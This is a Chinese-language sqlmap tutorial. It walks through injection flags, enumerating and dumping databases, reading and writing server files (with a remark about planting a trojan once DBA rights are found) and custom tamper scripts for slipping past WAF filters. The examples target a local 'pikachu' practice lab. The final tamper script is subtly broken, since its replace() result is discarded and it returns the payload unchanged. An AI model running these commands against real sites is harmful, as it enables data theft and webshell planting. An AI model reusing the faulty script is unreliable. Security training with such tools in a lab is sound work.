sqlmap的使用方法

sqlmap基础用法

语法参数

参数
描述
实例

-p

注入点

-u www.xxx.com?key=1&name=2 -p key

-u

网站地址

--risk

风险等级(1-3)

--level

扫描等级(1-5)

--dump

对目标信息进行暴力破解

--sql-shell

获取数据库权限

--os-shell

获取系统权限

--proxy

设置代理

--tamper

绕过waf的脚本

--dbms

指定数据库的类型

若已知目标网站的数据库是mysql,那设置--dbms=mysql,即可增加扫描效率

--technique

指定使用哪一种或哪几种SQL注入技术

B:Boolean-based blind E:Error-based U:Union query-based S:Stacked queries T:Time-based blind Q:Inline queries

--batch

提示时自动补全

注入流程

sqlmap -u 目标网址        (检测是否存在sql注入,如果存在并返回目标网址的数据库)

sqlmap -u 目标网址 --is-dba     (检测是否存在dba权限,dba权限是可以把文件写到目录里面去,如果存在就可以把木马写到目录里)

sqlmap -u 目标网址 --dbs  (把目标网址所有的数据库列出来)

sqlmap -u 目标网址 --current-db    (查找当前数据库)

sqlmap -u 目标网址 --tables -D “数据库名”   (查询数据库的所有表名,之后根据经验自己猜一下那个是含有用户信息的表名)

sqlmap -u 目标网址 --columns -T “数据库表名” -D “数据库名”  (查询所有的字段名)

sqlmap -u 目标网址 --dump -D “数据库名” -T “数据库表名” -C “数据库字段名”    (对目标用户信息进行暴力破解)

文件写入和读取

判断是否含有写入权限

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2 --is-dba
image-202 10407101508011

读取网站目录下的某个文件,sqlmap会把读取到文件保存到本地的某个目录里

python.exe .\sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?  name=111&submit=%E6%9F%A5%E8%AF%A2" --file-read D:\phpStudy\WWW\nice.php
image-20210407102630292

将本地文件写入服务端

python.exe .\sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --file-write C:\1.php --file-dest D:\phpStudy\WWW\1.php	

Tamper脚本编写

1.了解tamper脚本的结构

以下是简单的tamper脚本代码,dependencies()函数就是弄个tamper使用说明的,个人认为不必要去了解

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST  #定义脚本的优先级


def dependencies():  #脚本适用范围
    pass


def tamper(payload, **kwargs):  #对payload的修改
    return payload.replace(",", "/")

2.使用实例

例如网站的sql防御机制将"select"过滤掉了,那么我们写的tamper代码就如下

def tamper(payload, **kwargs):  #对payload的修改
    return payload.replace("select", "sselectelect")

将payload的空格都换成==/|%20--%20|/==,代码如下

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST  #定义脚本的优先级

import base64
def dependencies():  #脚本不适用范围
    pass


def tamper(payload, **kwargs):  #对payload的修改
    for i in range(len(payload)):
        if payload[i] == " ":
            payload.replace(" ","/*|%20--%20|*/")

    return payload

最后更新于